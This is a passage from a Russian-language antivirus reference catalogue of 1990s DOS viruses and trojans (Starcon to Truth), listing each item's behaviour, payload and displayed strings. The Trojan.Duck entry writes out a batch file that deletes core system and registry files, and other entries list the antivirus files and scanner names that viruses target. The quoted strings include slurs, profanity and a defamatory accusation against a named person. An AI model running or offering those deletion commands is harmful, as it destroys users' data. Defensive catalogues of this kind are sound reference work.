I am glad to see near me you, which knows PASSWORD.
I like such people, which know my PASSWORD.
I have bad ENGLISH.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
See you soon. "------------- (press any key)
Также содержит строки "SAFTAN" и "Hello, Losinsky!. I am First
(creater's) Simple Virus.".
Starcon.1057
Неопасный резидентный шифрованный вирус. Имеет строку "starcon".
Stardot.979
Неопасный нерезидентный вирус. Иногда выводит сообщение "MONKEY!".
Оставляет в памяти по адресу 0000:0313h резидентную программу,
производящую эффект "осыпания букв".
Strafer
Очень опасный загрузочный вирус. Через 10 дней после заражения жесткого
диска уничтожает всю информацию на этом диске. Содержит текст "Boot
Strafer".
Strike
Опасный загрузочный вирус. При заражении флоппи-дисков не сохраняет
оригинальный загрузочный сектор. При загрузке с такого диска, вирус
выводит текст:
Non-System disk or disk error
Replace and strike any key when ready
При чтении EXE-файлов, IP которых равен значению 0Eh (файлы,упакованные
LZEXE),и не содержащих по смещению 1Ch буквы "L" ("LZ91") (таким файлом
является AIDSTEST.EXE), вирус изменяет первый байт в буфере чтения на
байт 0C3h. В результате при запуске такой программы DOS выдаст ошибку
запуска.
Strip.1972
Неопасный резидентный вирус. Периодически выводит текст:
Уважаемые дамы и господа !
Если Вы занимаетесь бизнесом, то может эта информация
поможет Вам избежать многих неприятных сюрпризов.
В г.Житомире " трудится" директор Житомирского НИИ Радиосис-
тем пан Кравец Л.Г. Хотим заранее предупредить Вас, что иметь
дело с указанным паном очень рискованная перспектива т.к. Вы
будете ободраны как "липка" да еще и наживете себе кучу проб-
лем среди себе подобных людей и Вашего руководства.
Пан Кравец имеет привычку гадить даже своим уволившимся сот-
рудникам на их новых местах работы. Это у него считается прави-
лом хорошего тона и, по-видимому, критерием всей жизни. Все
сотрудники его так называемого НИИ, - "воры и спекулянты" ( ци-
тата из первоисточника).
Просим прощения за столь своеобразный вариант предоставления
данной информации. Понимаем, что данный поступок не красит так-
же и авторов данного вируса, но по другому донести эту информа-
цию к сожалению у нас нет возможности.
Suburbs.393
Неопасный резидентный вирус. Имеет текст "[VD/SLAM] Suburbs".
Sum.1441
Неопасный резидентный вирус. Зачем-то подсчитывает сумму текущего PSP и
если она равна определенному значению, то вирус не устанавливает свою
резидентную копию в память компьютера. Может внедрить свой код область
нулевых байт в конец файла (COMMAND.COM).
Sunset.1079, 1081
Опасные резидентные шифрованные вирусы. 13 января уничтожают содержимое
жесткого диска. Содержат текст "Sunset v1.00 (c) Chaos OverLord".
SUPD-вирусы
SUPD ($pirit's Universal Polymorphic Device) - полиморфный генератор
вирусных шифровщиков и расшифровщиков. Является модификацией
полиморфного генератора APE. Создан отечественным вирусописателем
известным, под кличкой -Nigh+-$piri+- (или в народе - Дмитрий Петренко
2:5083/14.7). Различные версии генератора содержат текст "$pirit's
Universal Polymorphic Device v1.0. (C)1995 by -Nigh+-$piri+-", а также
различные версии генераторов содержат тексты "[$UPDv1.0]","[$UPDv1.5]",
"[$UPDv2.0]", "[$UPDv2.1]". Версии 2.0 и 2.1 используют в расшифровщике
клавиатурный буфер с помощью прерывания INT 16h.
SUPD.Cryptor.2169, 2852, 3612, 3728
Неопасные нерезидентные полиморфные вирусы. "Поставляются", как
демонстрационные модели, вместе с объектным кодом генератора SUPD и
документацией к данному генератору. Содержат тексты:
SUPD.Cryptor.2169 - -=ЁCrYpToR v1.0Ё=- (C)1995 by -Nigh+-$piri+-
SUPD.Cryptor.2852 - -=ЁCrYpToR v1.5Ё=- (C)1996 by -Nigh+-$piri+-
SUPD.Cryptor.3612 - -=ЁCrYpToR v2.0Ё=- (C)1996 by -Nigh+-$piri+-
¦ BEST POLYMORPH-ENCRYPT VIRII IN WHOLE WORLD ¦
SUPD.Cryptor.3728 - -=ЁCrYpToR v2.1Ё=- (C)1996 by -Nigh+-$piri+-
¦ BEST POLYMORPH-ENCRYPT VIRII IN WHOLE WORLD ¦
SUPD.Voyager
Неопасный резидентный полиморфный вирус. Содержит текст:
Voyager v2.0 (c) 1996 by Shy Guy. +HANX +0 NiGH+ $iRi+! / Лозя, Каспер
и Паук -" дэбилы, lummerы / Уважаемые антивирусописатели, идите в попу!
Supervisor.2906
Очень опасный резидентный зашифрованный вирус. Уничтожает содержимое
кластеров дисков. Уничтожает программные файлы, созданные после 27
января 1997. В эти файлы вирус записывает код, который выводит на экран
текст:
---------------------------------------------------------------------¬
¦ U N R E G I S T E R E D P R O G R A M ! ¦
L---------------------------------------------------------------------
This version is NOT freeware, you MUST register it!
Call (+7-095)135-6253, 137-0150
Удаляет файлы: CHKLIST.MS, CHKLIST.CPS, ANTI-VIR.DAT, CHKLST.TAV,
SMARTCHK.TAV. Содержит строку "(=) Big Nephew (=)".
Survivor
Содержит текст "Survivor2".
SVC.1064 (1,2)
Содержат текст "(c) 1990 by SVC,Vers. 3.1".
SVC.1689 (1,2), 1740
Содержат текст "(c) 1990 by SVC,Vers. 4.0".
SVC.3103 (1-3)
Содержат текст "(c) 1990 by SVC,Vers. 5.0".
SVC.Svetlana.1110, 2060, 3410, 4734
Неопасные резидентные вирусы. SVC.Svetlana.2060, 3410, 4734 иногда
"вращают" экран. Можно задать "направление" данного "вращения" нажатием
на клавиши , , , . Содержат строку "Svetlana" и номер версии "1.0",
"1.1", "1.2" или "1.3".
Swabia.2411
Неопасный полиморфный вирус. Использует инструкции 386 процессора. 20
октября выводит на экран сообщение:
If C doesn't work, use Pascal !!! --- many greetings to Niklaus Wirth !!! ---
После чего "перегружает" систему. Содержит текстовую строку
"(C) 1994 by B&J, Swabia".
Swamp.1394
Неопасный резидентный вирус. Заражает COM, EXE-файлы при их создании.
Если в корневом каталоге находится файл \NOSWAMP.*, то заражение файлов
не производится. Содержит строку "(C)Copyright by Swamp software 1993".
Swedish
Неопасный загрузочный вирус. Иногда выводит на экран текст "The Swedish
Disaster".
Swine.3000 (1,2)
Опасные резидентные шифрованные вирусы. Могут уничтожить 10 первых
секторов жесткого диска и вывести текст:
Я тебя узнал,гадина ! ! !
Это ты вчера кидался из окна тухлыми яйцами.
Получай испорченный "винт" за такие штучки
(шутка,но только на счет яиц !)
SwissArmee (1-3)
Опасные загрузочные вирусы. 7 или 11 февраля уничтожают сектора первого
жесткого диска и выводят текст "Schafft die Schweizer Armee ab !".
Switch.855
Опасный вирус. Содержит строку "The SWITCH is ON The Doc (c)1994
chklist.cps anti-vir.dat". Два последних файла в строке вирус пытается
удалить.
Sword.794
Неопасный резидентный вирус. Содержит текст "The POWER of my SWORD!!!".
Sylvia.1321, 1332 (1-3)
Неопасные нерезидентные вирусы. Содержат текст:
This
program
is
infected
by
a
HARMLESS
Text-Virus V2.1
Send a FUNNY postcard to : Sylvia Verkade,
Duinzoom 36b,
3235 CD Rockanje
The Netherlands.
You might get an ANTIVIRUS program.....
Если изменить данный текст в теле вирусов, то вирусы выводят сообщение
FUCK YOU LAMER !!!!
system halted...
и "завешивают" систему.
Syrian.241
Опасный резидентный вирус. Внедряет свой код во все запускаемые
программы, уничтожая программный код. Выводит следующие сообщения:
Bad command or filename
MS-DOS v4.22
Volume label for drive Z is Infected!
Также содержит текст "Syrian Brain II".
SysLock.Cookie.2232
Опасный резидентный вирус. При заражении COM-файлов может записать в
начало файла 35 байт вирусного кода перехода в конец файла на основной
вирусный код,.. но этот основной код записать "забудет". Т.о., файл
окажется разрушенным. Выводит сообщение "I want a COOKIE !" и ждет
ввода слова "cookie", после чего пишет "BURPS....." и отдает управление
программе-вирусоносителю. Не активизируется если установлена переменная
SET VIRUS=OFF
TaiPan.437
Содержит текст "[ Hi from SERG !!! ( FAVT )]".
TaiPan.438 (1,2)
Содержит строку "[Whisper presenterar Tai-Pan]".
TaiPan.Hooze
Неопасный резидентный вирус. 5 августа устраивает "шутки" с разверткой
монитора. Содержит текст "[Hooze Virus 1.0 (Tai-Pan clone)]".
Tarakah.4064
Неопасный нерезидентный шифрованный вирус. Если во время заражения
файлов произошла ошибка, то вирус выводит одно из следующих сообщений:
ERROR OF FUNCTION'S NUMBER
FILE NOT FOUNDED
PATH NOT FOUNDED
TOO MANY OPENED FILES
ACCESS IS NOT OPEN
ERROR OF FILE'S NUMBER
BLOCK OF MEMORY RULING IS BROKEN
TOO FEW MEMORY
ERROR OF ADRESS OF MEMORY'S BLOCK
ERROR OF EQUIPMENT
ERROR OF FORMAT
ERROR OF ACCESS
ERROR OF DATA
I DONT KNOW WHOT HAPPENED:...... KAKAYA-TO
ERROR OF DEVICE
ERROR OF DIRECTORY
IT'S NOT RIGHT DEVICE
DONT ANY FILES YET
А также иногда просит нажать клавишу F8 и выводит следующие сообщения:
Nu vot Ya i v ECONOME !
Eto snova Ya - TARAKAH is tvoego computera
I opyat Ya
POSOVI leontya veniaminovicha iz 215, YA HOCHU EGO !
LEONTIY ! osvoil li ty BASIC nakonec
decanom mogesh ty not to be, no SUPERCAL ty znat obyasan !
-leontiy KAKASHKA-
TELEFON DLYA VASHEY REKLAMI-13-29-66 (SPROSITE EVREYA)
POGALUYSTA, KOZLIK,
NE BUD GADOM
NAGMI KEY F8
CHORT BOZMI, KAKOY YOU DUB
YA GE SKAZAL-F8, POPROBUY ESCHO
NU DEREVO, POSLEDNIY RAZ PROSHU
NE TAKOY UG YOU DURAK
OTVALI, YA OBIDELSY
OX, OX, OOOOO YA TORCHU
ESCHO DAVNI RAZOCHEK, DURACHOK
NE TUDA POLEZ, DURACHOK
AX, AX, UX, EX, YA LUBLU TEBYA, DURASHKA
NU WE ESCHO VSTRETIMSYA, PROKAZNIK...
NAGMI ANYKEY
Taz.987, 1041
Опасные резидентные вирусы. Удаляют некоторые антивирусные программы,
после чего в Taz.1041 планировался вывод сообщения:
FUCKIN IT
uhhh.....
huh huh
Содержит тексты "[TAZ-10] By The WРТ$ИL", "(C) Sector Infector 1993",
"--- ТТZ-10 ---", "Released 12-06-93", "Yes, it is a Firefly Hack!",
"I Miss Ya, Taz!", "Time to FUCK it UP!" .
TCE.Persecute
Неопасный резидентный полиморфный стелс - вирус. При открытии
инфицированных файлов удаляет свой код из них, но только в том случае,
если эти файлы открываются не архиваторами. Вирус проверяет имя
программы, открывающей файл. Вирус не заражает файлы из списка (по 2
символа на имя): COF-AV-VTBVI00VBCHSCDENDSPPRARPKRAUCLHZIUUIV. Вирус
удаляет файлы CHKLIST.MS, CHKLIST.CPS, ANTI-VIR.DAT. Начиная с 64-го
поколения вирус выводит на экран текст:
- [CHAOS-AD] - CODED BY SEPULTURA - AUSTRALIA - 1995 -
-=" LIVING-IN-A-DYING-AGE-PERSECUTE-THE-HUMAN-RACE "=-
REFUSE
RESIST
RELOVE
REMATE
SUFFER
REHATE
REJECT
PROGRESS
PROCESS
PROTEST
NO REST
Содержит строку "[TCE-0.4]".
Teacher.2000
Неопасный резидентный вирус. Перехватывает INT 21h, 28h. Иногда выводит
на экран стишок:
Четвертой кафедре радиофизики посвящается.
Я Фортран бы выучил только за то,
что на нем защищался декан мой.
О, хакеры и программисты, От необузданной той страсти
познанье кода - путь тернистый пойдут и горе и напасти,
и есть ваш крест. Позвольте ж мне и не насытит вас тогда
означить путь вам в этой мгле. ООП-овская ерунда.
Пишите только на Фортране, ООП, рекурсии, структуры
иль назовут вас сосунками, сгодятся только насмех курам,
коль захотите вы в запале когда пред вами встанут коды,
попробовать себя в Паскале. всплывут утраченные годы...
Пишите с толком, аккуратней, Ну что ж, сидите, жмите кнопки,
чем больше GO TO, тем приятней, глазейте на цветные попки,
и боже вас оборони хоть не познали вы авоста,
использовать при этом Си. все ж вам привет от Эда Поста.
Есть надежда, что еще можно спастись.
Temptation
Неопасный загрузочный стелс-вирус. Иногда при загрузке с зараженного
жесткого диска выводит сообщение:
(c)Light General
THE LAST TEMPTATION
TenBytes.1411, 1514
Очень опасные резидентные вирусы. После сентября при записи в файл,
сдвигают буфер для записи (DS:DX) на 10 байт.
Tentacle.10496
Опасный резидентный полиморфный вирус. Записывает свой зашифрованный
полиморфный код в конец файла-жертвы, после него записывает "длинный"
JMP FAR на свой код и корректирует таблицу перемещаемых символов.
Если файл содержит оверлей, то вирус "сдвигает" оверлей вниз и
записывает свой код между телом файла и оверлеем. При открытии GIF-
файлов с вероятностью 1/8 вирус переименовывет данный файл в имя
TENTACLE со случайным расширением и записывает в оригинальный файл
изображение щупальца осьминога и надписью "I'm the Tentacle Virus" в
GIF-формате. Содержит текст:
WARNING!
Your system is contamined with the Tentacle Virus.
IMPORTANT: Don't open any GIF file!
Tequila
Неопасный файлово-загрузочный полиморфный стелс-вирус. Заражает MBR
жесткого диска и EXE-файлы при их открытии или запуске. Иногда выводит
на экран картинку, напоминающую силуэт самолета и текст:
Execute: mov ax, FE03 / int 21. Key to go on!
При выполнении данных инструкций вирус выводит на экран следующий
текст:
Welcome to T.TEQUILA's latest production.
Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/Switzerland.
Loving thoughts to L.I.N.D.A
BEER and TEQUILA forever !
Tequila.5volt
Неопасный резидентный полиморфный вирус. Не заражает файлы WIN*.*,
CHKDSK*.*, BACK*.*. Содержит текст:
This is a beta version of the '-5 Volt' virus. A final and error free
one will never follow because I've got enough of viruses. Now a message
to the programmers of Turbo Anti Virus: You do a dangerous play with
INT 21h in your TSAFE utility. It took me quite a long time to make the
virus compatible with TSAFE. Please use clean programming technics in
your next version. Today it's a Saturday and a big party with a lot of
TEQUILA takes place! Wow!! Greetings to the U.S. Army in Iraq.
Terra.1027, 1042
Неопасные резидентные вирусы-спутники. Создают вирусный COM-файл-
спутник для файлов с расширением EXE. Не заражают файлы, начинающиеся
на COMMAND,IBM,ET,PC,TB, CKVI,KLVI,DEVI,BTOOL,RTOOL,TDISK, SCAN, CLEAN,
HUNT,F-,TR,G,Z. 18 числа выводят на экран разноцветные сообщения:
г===============================¬-
¦ п Terra'X о ¦-
¦-------------------------------¦-
¦ Written By Zhuge Jin at TPVO. ¦-
L---------------------------------
---------------------------------
Terrorist.1740
Очень опасный нерезидентный шифрованный вирус. 15 октября выводит текст
"HAPPY BIRTHDAY OKSANA". Хранит некоторые свои счетчики в конце файла
C:\COMMAND.COM. Может прочитать 16 первых секторов диска C: в память,
уничтожить содержимое этих 16 секторов на диске и вывести текст:
WARNING
ВНИМАНИЕ
Я Вирус ТЕРРОРИСТ ! Ваш компьютер захвачен в заложники !
Если вы выключите машину или прервете программу,то информацию
о таблице размещения файлов (FAT) вам уже никто не востановит !!!
Если вы хотите чтоб у вас было все в порядке вы должны
выполнить мои условия :
Подождите до 3 часов ночи !!!
Если подождете обещаю все починить !
ПРИЯТНЫХ СНОВИДЕНИЙ !!! (Crazy)
После чего выводит в левом верхнем углу экрана текущее время и ждет
наступления 3 часов ночи. После чего записывает обратно на диск
сохраненные в памяти 16 секторов диска C:. Иногда может вывести также
сообщение "I~m here !".Содержит тексты "ПОЛУЧАЙТЕ СУКИ","CRAZYCRAZY !".
Tet.365, 393, 409, 474, 733
Неопасные (Tet.733 -опасен) нерезидентные вирусы. Содержат строку "383"
из-за которой и получили свое название - Three Eight Three. Tet.733
может разрушать файлы, записывая в них код, который выводит текст "This
program requires Microsoft Windows." и "перегружает" систему. Иногда
может вывести текст "Почтим ЗАВИСАНИЕМ память китайского хакера,
убитого подлыми коммунистами." и "вешает" систему. Tet.733 также
содержит текст "383 v1.5 (C)LovinGOD, fUcKRAINE.".
Thc.1058
Опасный резидентный вирус. При открытии файлов, содержащих первый байт
E9h или B8h, вирус записывает в них 5 байт, вызывающих перезагрузку
системы. Также уничтожает 5 первых байт в файлах, первый байт которых -
EAh. Содержит текст "Aidstest Fucker. Copyright (c) by Troitsk Hackers
Club".
Thunder.1543
Опасный резидентный шифрованный вирус. Внедряет свой расшифровщик (21
байт) в середину файла,а основной зашифрованный вирусный код записывает
в конец файла. "Перехватывает" INT 13h, 21h,а после 20 декабря и INT 8.
При чтении или записи некоторых секторов(в которых встречается какая-то
последовательность байт (?)) вирус возвращает ошибку чтения или записи.
После 20 декабря вирус может вывести на экран текст:
------- - - - - - - ----- ------- ------
- - - - - -- - - - - - -
- - - - - - - - - - - - -
- ------- - - - - - - - ----- -----
- - - - - - - - - - - - -
- - - - - - -- - - - - -
- - - ------ - - ----- ------- - -
Tib.708, 713
Резидентные вирусы. Пытаются что-то "сотворить" с сетью Novell NetWare.
Tie.619, 710, 713
Неопасные резидентные вирусы. Содержат зашифрованный текст "TIE
Fighter".
Timid.526 (1,2)
Неопасные нерезидентные вирусы. Иногда стирают содержимое экрана.
Содержат текстовую строку "GR".
Tiso.1279
Неопасный файлово-загрузочный шифрованный вирус. Иногда, при загрузке,
системы выводит "Nech zije Jozef Tiso, prvy slovensky prezident !".
Tmc.4829, 5440
Неопасные резидентные полиморфные вирусы.Используют довольно интересный
полиморфный механизм. При старте инфицированной программы, вирус
получает управление и производит создание в памяти своей новой копии.
Вирус хранит в своем теле таблицы по которым по определенным законам
строит свой код. При построении этого кода вирус может внедрить в любое
место кода (вместо очередной инструкции) команду перехода (E9 ?? ??) в
свободное (не занятое еще "рабочими" инструкциями) место и продолжить
построение своего кода с этого места.Вирус строит таблицы "уже занятых"
областей и "настраиваемых" адресов для корректного создания своего
потомка. Также он способен варьировать безусловными переходами
(например, замена JE на JNE) в некоторых ситуациях. Затем вирус
расшифровывает свой код, который также не является постоянным и
устанавливает в память "на INT 21h" свою резидентную копию. Причем
обработчик INT 21h также является непостоянным и имеет различные
смещения. Далее эта резидентная копия заражает файлы только этим кодом.
Для текущего сеанса работы (до следующей установки в память) все копии
вируса при заражении файлов будут одинаковы. Вирусы содержат тексты:
Tmc.4829:
¦ TMC 1.0 by Ender from Slovakia ¦
Welcome to the Tiny Mutation Compiler!
Dis is level 42.
Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel
Personal greetings: K. K., Dark Punisher
Tmc.5440:
¦ TMC 1.0 by Ender ¦
Welcome to the Tiny Mutation Compiler!
Dis is level 6*9.
Greetings to virus makers: Dark Avenger, Vyvojar, SVL, Hell Angel
Personal greetings: K. K., Dark Punisher
Todor.1993
Опасный полиморфный вирус. После 15 августа шифрует первый сектор
первой копии FAT. Не заражает файлы, имеющие по смещению +20h строку
(C)Todor и файлы, упакованные утилитой LZEXE v.0.90. Содержит ошибку, в
результате которой каждый 6 файл будет неработоспособен.
Tony.338
Опасный резидентный вирус. Размещает свою резидентную часть в области
таблицы прерываний по адресу 44:100h. Инфицирует COM-файлы, внедряя
свой код в область нулей, если в файле таковая имеется. При установке в
память пытается сразу же заразить командный процессор. В вирусе имеется
ошибка, в результате которой инфицированные файлы могут быть
неработоспособными и лечению неподдающимися. Содержит строку "Tony".
Tormentor.358, 360
Неопасные нерезидентные вирусы. Содержат текст:
(c) 1992 Tormentor / Demoralized Youth
Rather first in hell, than second in heaven.
Tornado
Неопасный зашифрованный загрузочный вирус. Содержит строку "TORNADO".
TPE-вирусы
TPE (TridenT Polymorphic Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков.
TPE.Bosnia
Резидентный полиморфный вирус. Содержит строку
"COSCCLVSNEMSTBVIFIF-IMCPNA-VRAFEMTBR". Не заражает файлы с именами из
этой строки (по 2 символа на имя). По пятницам, в зависимости от
системного таймера, может нарисовать картинку:
HELP BOSNIA, BEFORE IT'S TOO LATE!
--
---
--- ¦ ¦
---
---
---
¦ --- ¦
---
---
¦ ---
---
---
- ¦ ---
- -
-- --
TPE.CivilWar.1979, TPE.CivilWar.1994, TPE.CivilWar.1997, TPE.CivilWar.2049
Полиморфные вирусы. TPE.CivilWar.1979, TPE.CivilWar.1994 и
TPE.CivilWar.1997 - нерезидентные. Содержат строки:
TPE.CivilWar.1979:
Civil War IV, (c) 1993 *.com
For all i'v seen has changed my mind
But still the wars go on as the years go by
With no love of God or human rights
'Cause all these dreams are swept aside
By bloody hands of the hypnotized
Who carry the cross of homicide
And history bears the scars of our Civil Wars.
[ DH / TridenT ] [ MK / TridenT ]
TPE.CivilWar.1994 и TPE.CivilWar.1997:
Civil War IV v1.1, (c) Jan '93 *.com
For all i've seen has changed my mind
But still the wars go on as the years go by
With no love of God or human rights
'Cause all these dreams are swept aside
By bloody hands of the hypnotized
Who carry the cross of homicide
And history bears the scars of our Civil Wars
[ DH / TridenT ] [ MK / TridenT ]
TPE.CivilWar.2049 - резидентный вирус. Содержит строку:
Civil War V v1.0, (c) Jan '92
[ DH / TridenT ][ MK / TridenT ]
TPE.Dgme.1758, 2648, 2518
Неопасные нерезидентные полиморфные вирусы. Содержат строку:
DGME (C) 1993 American Eagle Publications, Inc., All Rights Reserved.
TPE.Gambit.2259
Неопасный полиморфный резидентный вирус-спутник. Содержит строку
"Gambit 1.0 by Viper [NuKE][ MK / TridenT ]".
TPE.Girafe
Неопасный резидентный полиморфный вирус. Не заражает файлы с именами
CO*.*, SC*.*, CL*.*, VS*.*. Содержит строки текста:
"COSCCLVSNEHTTBVIFIGIRAFEMTBRIM", "[ MK / Trident ]", "Amsterdam =
COFFEESHOP!". По пятницам при запуске инфицированной программы с
вероятностью 1/256 выводит сообщение "LEGALIZE CANNABIS" и изображение
зеленого листа. См. MtE.Coffeeshop
TPE.Kela.4546
Полиморфный стелс-вирус. В пятницу 13 числа выводит красивую
переливающуюся всеми цветами картинку с надписями "KELA". Содержит
тексты:
This is KELA-17 version virus.
KELA-17 very nice virus . Ha Ha HaHa
KELA - 17.Выражаю свою благодарность автору TPE, KELA.
Copyright (c) 1994 by KELA. All Rights Reserved. KELA вечен. Смерть
Лозинскому и Мостовому. Смерть всем пользователям ЭВМ.
TPE.Lamer
Опасный резидентный полиморфик. В декабре уничтожает 30 первых секторов
диска C: и выводит текст:
----- The
| _ | Lamer Exterminator
[°]T[°] Virus by
| | | ---" UGLY BOY "---
| ь | Hi Dude!.Sorry for
| \_/ | your HD! HiHiHiHi!
\___/ 23/10/1993 Italy
TPVO.3783
Неопасный резидентный стелс-вирус. Заражает COM, EXE, NewExe - файлы и
загрузочные сектора дисков. Внедряет свой код в ядро DOS, поэтому его
очень сложно найти в памяти компьютера.
Traka.1471
Неопасный файлово-загрузочный вирус. Содержит текстовую строку [TRAkA-
TRAkA]/ARGENTiNA
Trakia.561, 570, 653, 1070
Резидентные вирусы. Trakia.653, 1070 - опасны. Trakia.653 портит файлы,
имеющие расширения DWG, DWF, DXG, DXF, а Trakia.1070 производит поиск
какой-то строки в стартующих EXE-файлах и если находит ее, то правит
этот файл.
Traven.515
Неопасный нерезидентный вирус. Иногда "трясет" экран. Содержит строку
"by Traven(Traveller)".
Trident.346
Полиморфный опасный вирус. После заражения файла выводит на экран:
---------- -------- ------ -------- ---------- -- -- ----------
-- -- -- -- -- -- -- ---- -- --
-- -------- -- -- -- ------ -- -- -- --
-- -- -- -- -- -- -- -- ---- --
-- -- -- ------ -------- ---------- -- -- --
Trivial.Destroer.49
Содержит текст "DESTROER".
Trojan - "троянские" программы. Содержащийся в данных программах код не
является вирусным кодом. Как правило, данные программы несут в себе
деструктивные функции.
Trojan.BPC
Производит поиск файлов *.* и записывает в них 392 байта кода,
уничтожающего 255 секторов первого жесткого диска и выводящего на экран
текст:
CONGRATULATIONS !
Y0UR ZYZtEM WAZ PHUCKEd bY
BBS PhAcKeRz ClUb `1994 !
UZ 0UR fREE 20ftWARE.....
:: (c) 1994 BBS PhUCkERZ C1Ub ::
Trojan.Duck
Данный троянец получен с помощью программы BAT2COM из пакетного файла
следующего содержания:
---------------------------
Da Ultimate Crack
by Plucky Duck &
Da AC-DC Boy
---------------------------
Cracking...
Done...
DEL c:\windows\win.ini
DEL c:\windows\system.ini
ATTRIB -r -a -s -h c:\command.com
DEL c:\command.com
ATTRIB -r -a -s -h c:\windows\user.dat
DEL c:\windows\user.dat
ATTRIB -r -a -s -h c:\windows\user.da0
DEL c:\windows\user.da0
ATTRIB -r -a -s -h c:\windows\system.dat
DEL c:\windows\system.dat
ATTRIB -r -a -s -h c:\windows\system.da0
DEL c:\windows\system.da0
ATTRIB -r -a -s -h c:\io.sys
DEL c:\io.sys
Trojan.GetIt
Данная программа предназначена для воровства паролей для Novell
NetWare. Троянский код записывается по вирусному принципу к любой COM-
программе. При старте такой программы, данный "троянец" устанавливает
свою копию резидентно в память "на INT 21h", ждет старта программы
LOGIN, после чего записывает вводимый пользователем пароль в указанный
в теле "троянца" файл.
Trojan.Himan
Производит поиск в среде окружения (environment) программы указателя
"MAXIMUS=". Далее в указанном каталоге ищет файл MAX.OVL и модифицирует
в нем по определенным смещениям 2 байта. Содержит текст "-=HiMAN=-".
Trojan.MustDie
Уничтожает файлы C:\AUTOEXEC.BAT, C:\CONFIG.SYS,записывая в них тексты:
rem Hey... you dead! . . . POOF!!!! (c) D.A.
2:50xx/19 - MUST DIE!!! (c) D.A.
Выводит при старте на экран текст:
D-1
--------------------------------¬
¦ New virus base by Dmitry A. ¦
¦ 2:50xx/19.10@FidоНЕТ ¦
--- d-1.com /d L--
- V.M. - I hape you!!! -
- А СДЕСЬ МОГЛА БЫТЬ ВАША РЕКЛАМА ! -
- -
--¬ ---
L--------------------------------
Trojan.PswStor, Trojan.PsySend
Данные троянцы предназначены для сбора паролей в сети Nowell NetWare
(Trojan.PswStor) и для посылки сообщений всем пользователям сети без
указания адреса и имени пользователя, от которого данное сообщение
исходило (Trojan.PsySend). Автором данных "игрушек" является
белорусский "орел" из города Бреста Андрей Башаримов 2:454/2.175.
Trojan.Shock
Пытается отформатировать дорожку первого жесткого диска. Выводит
сообщения:
----- ----- ------- ----- ------- -- -- ----- -------
- - - - - - - - - - - -
- ----- ---- ------ - - - ----- ----
- - -- - - - - - - - - -- - -
------ - - ------ -- ----- --- ---------- --------------
- - - - - - - --
---- ------ - - - ----
- - - - - - - - -
------ -- -- ------ ------ -- --
------¬ --¬ --¬ ------¬ -------¬ ------¬ ------¬ ------¬ --¬
L-¬ --- ¦ ¦ ¦ ¦ ¦ ----- L¬ --¬ ¦ ¦ ----- ¦ ----- L-¬ --- ¦ ¦
¦ ¦ ¦ L-- ¦ ¦ L-¬ ¦ L-- ¦ ¦ L-¬ ¦ L---¬ ¦ ¦ ¦ ¦
¦ ¦ ¦ --¬ ¦ ¦ --- ¦ --¬ ¦ ¦ --- L---¬ ¦ ¦ ¦ L--
¦ ¦ ¦ ¦ ¦ ¦ ¦ L---¬ -- L-- ¦ ¦ L---¬ ----- ¦ ¦ ¦ --¬
L-- L-- L-- L------ L------- L------ L------ L-- L--
--------- ------- ------- -- --
--- --------- --- ------ ------- --- ---
---- ------------- ---- ------ ------- -----
¦¦ -- ------ ------ ---¦¦ ------- -- -- ¦-¦
-----------------------
- -¦¦- --------------¦¦¦- ------- ------- ------- -------
--- - - ------------ ---- -- --- -- -- -- -- -- --
¦-¦¦ ----------------- --- -- -- -- -- -- -- -- --
--¦--- - ---------------------- ------- ------- ------- -------
¦-------¦¦ -------------------
------- ¦ --------------- ------- -- -- -------
------ --------- ------- --- --- ------
----¦¦ -------------------- ------- ----- ------
-- ------ --------------------- - ------ ¦-¦ -------
--¦¦------ ----------------------
- ------- -------------------- MY DEAR
¦------- ------------------ -- -- ------ ------
------¦¦ -------------- - -- -- -- -- -- --
------ ------------ - ------- -- --- -- ---
-- ¦--------- ---- -- -- -- -- -- --
-------- -- -- -- ------ ------
Trojan.TimeBomb
Троянская программа TimeBomb записывает в MBR жесткого диска
деструктивный код, который уничтожает содержимое всего жесткого диска в
определенный, указанный пользователем день. При записи в MBR "троянца"
содержимое оригинального загрузчика сохраняется в файле MBR.BAK.
Trojan.Xmas
На фоне поздравления с Рождеством переименовывает файлы C:\IO.SYS и
C:\MSDOS.SYS в C:\*.SIS, а файлы C:\WINDOWS\SYSTEM.INI,
C:\WINDOWS\WIN.INI в C:\WINDOWS\*.INY. После чего удаляет себя.
Trooper.2259
Резидентный стелс-вирус. Содержит текстовые строки "3О4О5О6О7О8Оd",
"TROOPER V1.0 Hungary-7500", "EXECOMCLIPPERCOMSPEC=", "BEFKNOW".
Trout.6804
Опасный резидентный полиморфный вирус. Первым делом вирус пытается
найти файлы по маскам C:*.COM, C:\DOS\KEYB.COM, C:\DOS\*.COM, *.COM и
заразить 5 файлов. Удаляет файлы CHKLIST.MS,CHKLIST.CPS,ANTI-VIR.DAT,
\SCANCRC.CRC,\_CHK.CHK,\NAV_._NO.Вирус скрывается в памяти от следующих
программ:
SCAN.NETSCAN.CLEAN.VSHIELD.F-PROT.VSAFE.MSAV.CPAV.NAV.TBAV.TBSCAN.
VDS.NOVI.AVP.-V.-VPRO.VIREX.AVSCAN.VI-SPY.GUARD.FINDVIRU.TNT.TNTAV.
HTSCAN.NEMESIS.NOD.ITAV.VI.VIRIT.IM.WIN.TD.DEBUG.
При старте любой из этих программ, вирус "отпускает" захваченный им INT
21h, шифрует свою резидентную копию с помощью полиморфного механизма,
"перехватывает" INT 22h, устанавливая его на полиморфный расшифровщик,
уничтожает свою незашифрованную копию в памяти и отдает управление
DOS. После обратного получения управления "через" INT 22h, по окончании
работы антивирусной программы, вирус расшифровывает свой код и снова
"перехватывает" INT 21h. Вирус содержит текст:
This is "The Second NewBorn Trout" virus
Programmed in the city of Milan, North Italy
[C] The Tricky Trout 1995
Mutation Engine: TT-PEB (Tricky Trout Plurimorphic Encryptor Builder)
version 2.01 (TPE standard)
Trurl.846
Содержит строки "Bengal Tiger, v3p0x ## By Trurl, the great constructor,
1993## Buenos Aires, Argentina" и "Trurl".
Trust.687
Неопасный резидентный вирус. Устанавливает свою копию в область
видеопамяти BB00:0000 и "перехватывает" INT 10h, 21h. При смене
видеорежима (f.0 Int 10h) вирус "освобождает" "захваченные" им
прерывания. Иногда выводит текст:
Принцип взаимного довереия выше взаимных обязательств.
С. Мавроди.
Truth.503
Неопасный резидентный вирус. Выводит текст "THE TRUTH IS OUT THERE".
